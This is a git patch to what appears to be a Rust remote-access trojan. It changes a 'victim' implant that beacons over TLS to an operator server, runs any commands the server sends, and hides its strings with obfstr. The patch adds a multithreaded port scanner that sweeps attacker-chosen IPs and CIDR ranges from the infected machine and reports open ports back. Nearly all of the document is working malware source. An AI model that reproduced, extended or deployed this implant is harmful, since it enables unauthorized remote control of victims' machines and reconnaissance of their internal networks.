From 9da3472c59a9cb82b187cc77fceb462f419a746b Mon Sep 17 00:00:00 2001 From: pyro Date: Fri, 28 Aug 2026 12:18:50 -0500 Subject: [PATCH] added a portscan to the victim client, in theory. --- src/server.rs | 2 - victim_templates/rust_victim/Cargo.toml | 2 + victim_templates/rust_victim/src/main.rs | 166 ++++++++++++++--------- 3 files changed, 105 insertions(+), 65 deletions(-) diff --git a/src/server.rs b/src/server.rs index 8fcea99..d130b72 100644 --- a/src/server.rs +++ b/src/server.rs @@ -139,9 +139,7 @@ fn load_certs(path: &std::path::Path) -> Result>, Bo fn load_key(path: &std::path::Path) -> Result, Box> { let mut reader = BufReader::new(File::open(path)?); - let key = rustls_pemfile::private_key(&mut reader)?.ok_or("No private key found")?; - Ok(key) } diff --git a/victim_templates/rust_victim/Cargo.toml b/victim_templates/rust_victim/Cargo.toml index 207eb50..17f7082 100644 --- a/victim_templates/rust_victim/Cargo.toml +++ b/victim_templates/rust_victim/Cargo.toml @@ -4,7 +4,9 @@ version = "0.1.0" edition = "2024" [dependencies] +ipnet = "2.12.1" obfstr = "0.4.6" +rayon = "1.12.0" rustls = "0.23.43" rustls-pemfile = "2.2.0" sysinfo = "0.39.6" diff --git a/victim_templates/rust_victim/src/main.rs b/victim_templates/rust_victim/src/main.rs index 570a314..956f7e4 100644 --- a/victim_templates/rust_victim/src/main.rs +++ b/victim_templates/rust_victim/src/main.rs @@ -1,4 +1,6 @@ +use ipnet::IpNet; use obfstr::{obfstr, obfstring}; +use rayon::prelude::*; use rustls::ClientConfig; use rustls::ClientConnection; use rustls::RootCertStore; @@ -10,10 +12,13 @@ use std::fs; use std::io::BufReader; use std::io::Read; use std::io::Write; +use std::net::IpAddr; +use std::net::SocketAddr; use std::net::TcpStream; use std::path::PathBuf; use std::process::Command; -use std::sync::Arc; +use std::sync::{Arc, Mutex}; +use std::thread; use std::thread::spawn; use std::time::Duration; use std::time::Instant; @@ -26,7 +31,7 @@ pub struct Server { pub timer: Duration, pub config: Arc, pub last_check: Instant, - pub message_que: Vec, + pub message_que: Arc>>, pub action_que: Vec, pub client_id: usize, pub client_name: String, @@ -44,8 +49,9 @@ impl Server { if let Some((_, id)) = response.split_once("|") { self.client_id = id.trim().parse()?; } - self.message_que - .push(format!("SET_HOSTNAME|{}", self.client_name)); + if let Ok(mut lock) = self.message_que.lock() { + lock.push(format!("SET_HOSTNAME|{}", self.client_name)); + } self.connected = true; self.last_check = Instant::now(); return Ok(self.client_id); @@ -70,34 +76,35 @@ impl Server { pub fn checkin(&mut self) { if self.logged_in { if let Ok(mut stream) = self.tls_connect() { - self.last_check = Instant::now(); - let payload = format!( - "{}**{}|||{}\n", - self.password.clone(), - self.client_id.clone(), - self.message_que.join("||") - ); - - if let Err(e) = stream.write_all(payload.as_bytes()) { - self.action_que - .push(format!("Error|sending reponse output to server! {e}")); - } - self.message_que.clear(); - let mut buffer = [0; 4096]; - if let Ok(bytes_read) = stream.read(&mut buffer) { - if bytes_read > 0 { - let response = String::from_utf8_lossy(&buffer[..bytes_read]); - response.split("||").into_iter().for_each(|action| { - self.action_que.push(action.trim().to_string()); - if action.contains("Not authenticated") { - self.logged_in = false; - } - }); + if let Ok(mut lock) = self.message_que.lock() { + self.last_check = Instant::now(); + let payload = format!( + "{}**{}|||{}\n", + self.password.clone(), + self.client_id.clone(), + lock.join("||") + ); + if let Err(e) = stream.write_all(payload.as_bytes()) { + self.action_que + .push(format!("Error|sending reponse output to server! {e}")); + } + lock.clear(); + let mut buffer = [0; 4096]; + if let Ok(bytes_read) = stream.read(&mut buffer) { + if bytes_read > 0 { + let response = String::from_utf8_lossy(&buffer[..bytes_read]); + response.split("||").into_iter().for_each(|action| { + self.action_que.push(action.trim().to_string()); + if action.contains("Not authenticated") { + self.logged_in = false; + } + }); + } } } + } else { + let _ = self.login(self.password.clone()); } - } else { - let _ = self.login(self.password.clone()); } } @@ -112,6 +119,34 @@ impl Server { } } +fn portscan(given_targets: String, given_ports: String, message_que: Arc>>) { + let mut targets = Vec::new(); + given_targets.split(",").into_iter().for_each(|t| { + if let Ok(ip) = t.parse::() { + given_ports.split(",").into_iter().for_each(|p| { + if let Ok(port) = p.parse::() { + targets.push(SocketAddr::new(ip, port)); + } + }); + } else if let Ok(net) = t.parse::() { + net.hosts().into_iter().for_each(|h| { + given_ports.split(",").into_iter().for_each(|p| { + if let Ok(port) = p.parse::() { + targets.push(SocketAddr::new(h, port)); + } + }); + }); + } + }); + targets.par_iter().for_each(|t| { + if let Ok(_) = TcpStream::connect_timeout(t, Duration::from_secs(5)) { + if let Ok(mut lock) = message_que.lock() { + lock.push(format!("{} is open on {}", t.port(), t.ip())); + } + } + }); +} + fn main() -> Result<(), Box> { let mut roots = RootCertStore::empty(); let mut reader = BufReader::new("|||CERT|||".as_bytes()); @@ -128,7 +163,7 @@ fn main() -> Result<(), Box> { timer: Duration::from_secs(90), last_check: Instant::now(), config: Arc::new(client_config), - message_que: Vec::new(), + message_que: Arc::new(Mutex::new(Vec::new())), action_que: Vec::new(), client_id: 0, client_name: obfstring!("Victim1"), @@ -167,41 +202,44 @@ fn main() -> Result<(), Box> { if cmd.trim() == obfstr!("set_sleep") { if let Ok(secs) = args[0].parse::() { server.timer = Duration::from_secs(secs); - server - .message_que - .push( - format!("OUTPUT|Set sleep for {} seconds", secs,), - ); - } else { - server.message_que.push( - "OUTPUT|Error parsing Seconds count from arguments." - .to_string(), - ); + if let Ok(mut lock) = server.message_que.lock() { + lock.push(format!( + "OUTPUT|Set sleep for {} seconds", + secs, + )); + } } } else if cmd.trim() == obfstr!("victim_info") { - server - .message_que - .push(format!("OUTPUT|Address:{}", server.address)); - server - .message_que - .push(format!("OUTPUT|Timer:{}", server.timer.as_secs())); - server - .message_que - .push(format!("OUTPUT|ID:{}", server.client_id)); - server - .message_que - .push(format!("OUTPUT|Hostname:{}", server.client_name)); - let system = System::new_all(); + if let Ok(mut lock) = server.message_que.lock() { + lock.push(format!("OUTPUT|Address:{}", server.address)); + lock.push(format!( + "OUTPUT|Timer:{}", + server.timer.as_secs() + )); + lock.push(format!("OUTPUT|ID:{}", server.client_id)); + lock.push(format!( + "OUTPUT|Hostname:{}", + server.client_name + )); + let system = System::new_all(); - server - .message_que - .push(format!("Available RAM:{}", system.free_memory())); - server - .message_que - .push(format!("Num CPUs:{}", system.cpus().iter().count())); - server - .message_que - .push(format!("Total RAM:{}", system.total_memory())); + lock.push(format!( + "Available RAM:{}", + system.free_memory() + )); + lock.push(format!( + "Num CPUs:{}", + system.cpus().iter().count() + )); + lock.push(format!("Total RAM:{}", system.total_memory())); + } + } else if cmd.trim() == obfstr!("portscan") { + let targets = args[0].clone(); + let ports = args[1].clone(); + let que_clone = server.message_que.clone(); + thread::spawn(move || { + portscan(targets, ports, que_clone); + }); } else { let mut command = Command::new(&cmd); if !args.is_empty() { @@ -285,7 +323,9 @@ fn main() -> Result<(), Box> { if handle_opt_2.is_some() { let handle = handle_opt_2.unwrap(); if let Ok(output) = handle.join() { - server.message_que.push(format!("OUTPUT|{}", output)); + if let Ok(mut lock) = server.message_que.lock() { + lock.push(format!("OUTPUT|{}", output)); + } } } }